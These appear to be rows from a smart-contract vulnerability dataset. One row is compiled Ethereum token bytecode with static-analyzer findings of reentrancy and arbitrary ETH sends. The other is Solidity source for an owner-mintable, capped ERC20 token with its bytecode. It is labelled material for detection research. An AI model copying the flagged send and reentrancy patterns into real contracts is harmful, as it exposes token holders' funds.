505050506040513d601f19601f820116820180604052508101906106999190611f72565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190611f72565b6040518363ffffffff1660e01b81526004016107729291906123c4565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190611f72565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b02565b600080610858610ca6565b426040518863ffffffff1660e01b815260040161087a96959493929190612416565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906120cc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a49291906123ed565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612072565b50565b60006006905090565b610a0a610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6006600a610a7191906127d3565b6305f5e100610a8091906128f1565b600a81905550565b610a90610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae957600080fd5b6000610af430610b02565b9050610aff816114d5565b50565b6000610b4c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d565b9050919050565b610b5b610ee5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90612594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4b495a4152550000000000000000000000000000000000000000000000000000815250905090565b610d14610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6d57600080fd5b60098110610d7a57600080fd5b8060088190555050565b6000610d98610d91610ee5565b84846110b8565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e31610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a57600080fd5b6000479050610e98816117cb565b50565b6000610edd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611837565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f54906125f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc4906124f4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ab9190612614565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f906125d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118f906124b4565b60405180910390fd5b600081116111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d2906125b4565b60405180910390fd5b6111e3610ca6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112515750611221610ca6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561146157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113015750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113575750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113a157600a5481106113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612554565b60405180910390fd5b5b60006113ac30610b02565b9050600c60159054906101000a900460ff161580156114195750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114315750600c60169054906101000a900460ff165b1561145f5761143f816114d5565b6000479050670de0b6b3a7640000811061145d5761145c476117cb565b5b505b505b61146c83838361189a565b505050565b60008383111582906114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b09190612492565b60405180910390fd5b50600083856114c8919061294b565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561150d5761150c612aa6565b5b60405190808252806020026020018201604052801561153b5781602001602082028036833780820191505090505b509050308160008151811061155357611552612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115f557600080fd5b505afa158015611609573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162d9190611f72565b8160018151811061164157611640612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116a830600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161170c95949392919061262f565b600060405180830381600087803b15801561172657600080fd5b505af115801561173a573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b60006005548211156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b906124d4565b60405180910390fd5b60006117ae6118aa565b90506117c38184610e9b90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611833573d6000803e3d6000fd5b5050565b6000808311829061187e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118759190612492565b60405180910390fd5b506000838561188d919061274f565b9050809150509392505050565b6118a58383836118d5565b505050565b60008060006118b7611aa0565b915091506118ce8183610e9b90919063ffffffff16565b9250505090565b6000806000806000806118e787611b3b565b95509550955095509550955061194586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2681611c4b565b611a308483611d08565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a8d9190612614565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611aba91906127d3565b6305f5e100611ac991906128f1565b9050611afc6006600a611adc91906127d3565b6305f5e100611aeb91906128f1565b600554610e9b90919063ffffffff16565b821015611b2e576005546006600a611b1491906127d3565b6305f5e100611b2391906128f1565b935093505050611b37565b81819350935050505b9091565b6000806000806000806000806000611b588a600754600854611d42565b9250925092506000611b686118aa565b90506000806000611b7b8e878787611dd8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611be583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611471565b905092915050565b6000808284611bfc91906126f9565b905083811015611c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3890612534565b60405180910390fd5b8091505092915050565b6000611c556118aa565b90506000611c6c8284611e6190919063ffffffff16565b9050611cc081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d1d82600554611ba390919063ffffffff16565b600581905550611d3881600654611bed90919063ffffffff16565b6006819055505050565b600080600080611d6e6064611d60888a611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611d986064611d8a888b611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611dc182611db3858c611ba390919063ffffffff16565b611ba390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611df18589611e6190919063ffffffff16565b90506000611e088689611e6190919063ffffffff16565b90506000611e1f8789611e6190919063ffffffff16565b90506000611e4882611e3a8587611ba390919063ffffffff16565b611ba390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e745760009050611ed6565b60008284611e8291906128f1565b9050828482611e91919061274f565b14611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec890612574565b60405180910390fd5b809150505b92915050565b600081359050611eeb81612dc5565b92915050565b600081519050611f0081612dc5565b92915050565b600081519050611f1581612ddc565b92915050565b600081359050611f2a81612df3565b92915050565b600081519050611f3f81612df3565b92915050565b600060208284031215611f5b57611f5a612ad5565b5b6000611f6984828501611edc565b91505092915050565b600060208284031215611f8857611f87612ad5565b5b6000611f9684828501611ef1565b91505092915050565b60008060408385031215611fb657611fb5612ad5565b5b6000611fc485828601611edc565b9250506020611fd585828601611edc565b9150509250929050565b600080600060608486031215611ff857611ff7612ad5565b5b600061200686828701611edc565b935050602061201786828701611edc565b925050604061202886828701611f1b565b9150509250925092565b6000806040838503121561204957612048612ad5565b5b600061205785828601611edc565b925050602061206885828601611f1b565b9150509250929050565b60006020828403121561208857612087612ad5565b5b600061209684828501611f06565b91505092915050565b6000602082840312156120b5576120b4612ad5565b5b60006120c384828501611f1b565b91505092915050565b6000806000606084860312156120e5576120e4612ad5565b5b60006120f386828701611f30565b935050602061210486828701611f30565b925050604061211586828701611f30565b9150509250925092565b600061212b8383612137565b60208301905092915050565b6121408161297f565b82525050565b61214f8161297f565b82525050565b6000612160826126b4565b61216a81856126d7565b9350612175836126a4565b8060005b838110156121a657815161218d888261211f565b9750612198836126ca565b925050600181019050612179565b5085935050505092915050565b6121bc81612991565b82525050565b6121cb816129d4565b82525050565b60006121dc826126bf565b6121e681856126e8565b93506121f68185602086016129e6565b6121ff81612ada565b840191505092915050565b60006122176023836126e8565b915061222282612af8565b604082019050919050565b600061223a602a836126e8565b915061224582612b47565b604082019050919050565b600061225d6022836126e8565b915061226882612b96565b604082019050919050565b60006122806017836126e8565b915061228b82612be5565b602082019050919050565b60006122a3601b836126e8565b91506122ae82612c0e565b602082019050919050565b60006122c6601a836126e8565b91506122d182612c37565b602082019050919050565b60006122e96021836126e8565b91506122f482612c60565b604082019050919050565b600061230c6020836126e8565b915061231782612caf565b602082019050919050565b600061232f6029836126e8565b915061233a82612cd8565b604082019050919050565b60006123526025836126e8565b915061235d82612d27565b604082019050919050565b60006123756024836126e8565b915061238082612d76565b604082019050919050565b612394816129bd565b82525050565b6123a3816129c7565b82525050565b60006020820190506123be6000830184612146565b92915050565b60006040820190506123d96000830185612146565b6123e66020830184612146565b9392505050565b60006040820190506124026000830185612146565b61240f602083018461238b565b9392505050565b600060c08201905061242b6000830189612146565b612438602083018861238b565b61244560408301876121c2565b61245260608301866121c2565b61245f6080830185612146565b61246c60a083018461238b565b979650505050505050565b600060208201905061248c60008301846121b3565b92915050565b600060208201905081810360008301526124ac81846121d1565b905092915050565b600060208201905081810360008301526124cd8161220a565b9050919050565b600060208201905081810360008301526124ed8161222d565b9050919050565b6000602082019050818103600083015261250d81612250565b9050919050565b6000602082019050818103600083015261252d81612273565b9050919050565b6000602082019050818103600083015261254d81612296565b9050919050565b6000602082019050818103600083015261256d816122b9565b9050919050565b6000602082019050818103600083015261258d816122dc565b9050919050565b600060208201905081810360008301526125ad816122ff565b9050919050565b600060208201905081810360008301526125cd81612322565b9050919050565b600060208201905081810360008301526125ed81612345565b9050919050565b6000602082019050818103600083015261260d81612368565b9050919050565b6000602082019050612629600083018461238b565b92915050565b600060a082019050612644600083018861238b565b61265160208301876121c2565b81810360408301526126638186612155565b90506126726060830185612146565b61267f608083018461238b565b9695505050505050565b600060208201905061269e600083018461239a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612704826129bd565b915061270f836129bd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561274457612743612a19565b5b828201905092915050565b600061275a826129bd565b9150612765836129bd565b92508261277557612774612a48565b5b828204905092915050565b6000808291508390505b60018511156127ca578086048111156127a6576127a5612a19565b5b60018516156127b55780820291505b80810290506127c385612aeb565b945061278a565b94509492505050565b60006127de826129bd565b91506127e9836129c7565b92506128167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281e565b905092915050565b60008261282e57600190506128ea565b8161283c57600090506128ea565b8160018114612852576002811461285c5761288b565b60019150506128ea565b60ff84111561286e5761286d612a19565b5b8360020a91508482111561288557612884612a19565b5b506128ea565b5060208310610133831016604e8410600b84101617156128c05782820a9050838111156128bb576128ba612a19565b5b6128ea565b6128cd8484846001612780565b925090508184048111156128e4576128e3612a19565b5b81810290505b9392505050565b60006128fc826129bd565b9150612907836129bd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129405761293f612a19565b5b828202905092915050565b6000612956826129bd565b9150612961836129bd565b92508282101561297457612973612a19565b5b828203905092915050565b600061298a8261299d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129df826129bd565b9050919050565b60005b83811015612a045780820151818401526020810190506129e9565b83811115612a13576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dce8161297f565b8114612dd957600080fd5b50565b612de581612991565b8114612df057600080fd5b50565b612dfc816129bd565b8114612e0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aeb058de10274d3d35346998ee0c5573ff5d115d5997fa7529ae6ad7380b4ccf64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,881
0x7bef710a5759d197ec0bf621c3df802c2d60d848
/** *Submitted for verification at Etherscan.io on 2021-04-01 */ // SPDX-License-Identifier: MIT pragma solidity 0.7.3; contract Owned { address public owner; address public pendingOwner; modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyPendingOwner { require(msg.sender == pendingOwner); _; } constructor() { owner = msg.sender; } //@dev proposes new manager ownership function transferOwnership(address newOwner) public onlyOwner { pendingOwner = newOwner; } //@dev pending owner must accept it to prevent changing to a wallet who lost their key function acceptOwnership() public onlyPendingOwner { owner = pendingOwner; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is IERC20, Owned { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint256 immutable private _cap = 500000000000000000000000000; // 0.5 billion /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public onlyOwner virtual { require(account != address(0), "ERC20: mint to the zero address"); require(totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public pure returns (uint8) { return 18; } /** * @dev Returns the cap on the token's total supply. */ function cap() public view virtual returns (uint256) { return _cap; } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a2578063a457c2d711610071578063a457c2d7146102f7578063a9059cbb14610323578063dd62ed3e1461034f578063e30c39781461037d578063f2fde38b146103855761010b565b806370a082311461029d57806379ba5097146102c35780638da5cb5b146102cb57806395d89b41146102ef5761010b565b8063313ce567116100de578063313ce5671461021d578063355274ea1461023b57806339509351146102435780634e6ec2471461026f5761010b565b806306fdde0314610110578063095ea7b31461018d57806318160ddd146101cd57806323b872dd146101e7575b600080fd5b6101186103ab565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015257818101518382015260200161013a565b50505050905090810190601f16801561017f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101b9600480360360408110156101a357600080fd5b506001600160a01b038135169060200135610441565b604080519115158252519081900360200190f35b6101d5610457565b60408051918252519081900360200190f35b6101b9600480360360608110156101fd57600080fd5b506001600160a01b0381358116916020810135909116906040013561045d565b6102256104e5565b6040805160ff9092168252519081900360200190f35b6101d56104ea565b6101b96004803603604081101561025957600080fd5b506001600160a01b03813516906020013561050e565b61029b6004803603604081101561028557600080fd5b506001600160a01b038135169060200135610541565b005b6101d5600480360360208110156102b357600080fd5b50356001600160a01b0316610683565b61029b61069e565b6102d36106d9565b604080516001600160a01b039092168252519081900360200190f35b6101186106e8565b6101b96004803603604081101561030d57600080fd5b506001600160a01b038135169060200135610749565b6101b96004803603604081101561033957600080fd5b506001600160a01b0381351690602001356107c3565b6101d56004803603604081101561036557600080fd5b506001600160a01b03813581169160200135166107d0565b6102d36107fb565b61029b6004803603602081101561039b57600080fd5b50356001600160a01b031661080a565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104375780601f1061040c57610100808354040283529160200191610437565b820191906000526020600020905b81548152906001019060200180831161041a57829003601f168201915b5050505050905090565b600061044e338484610843565b50600192915050565b60045490565b600061046a84848461092f565b6001600160a01b0384166000908152600360209081526040808320338452909152902054828110156104cd5760405162461bcd60e51b8152600401808060200182810382526028815260200180610af86028913960400191505060405180910390fd5b6104da8533858403610843565b506001949350505050565b601290565b7f0000000000000000000000000000000000000000019d971e4fe8401e7400000090565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161044e9185908501610843565b6000546001600160a01b0316331461055857600080fd5b6001600160a01b0382166105b3576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6105bb6104ea565b816105c4610457565b011115610618576040805162461bcd60e51b815260206004820152601960248201527f45524332304361707065643a2063617020657863656564656400000000000000604482015290519081900360640190fd5b61062460008383610a87565b60048054820190556001600160a01b0382166000818152600260209081526040808320805486019055805185815290517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35050565b6001600160a01b031660009081526002602052604090205490565b6001546001600160a01b031633146106b557600080fd5b60015460008054600160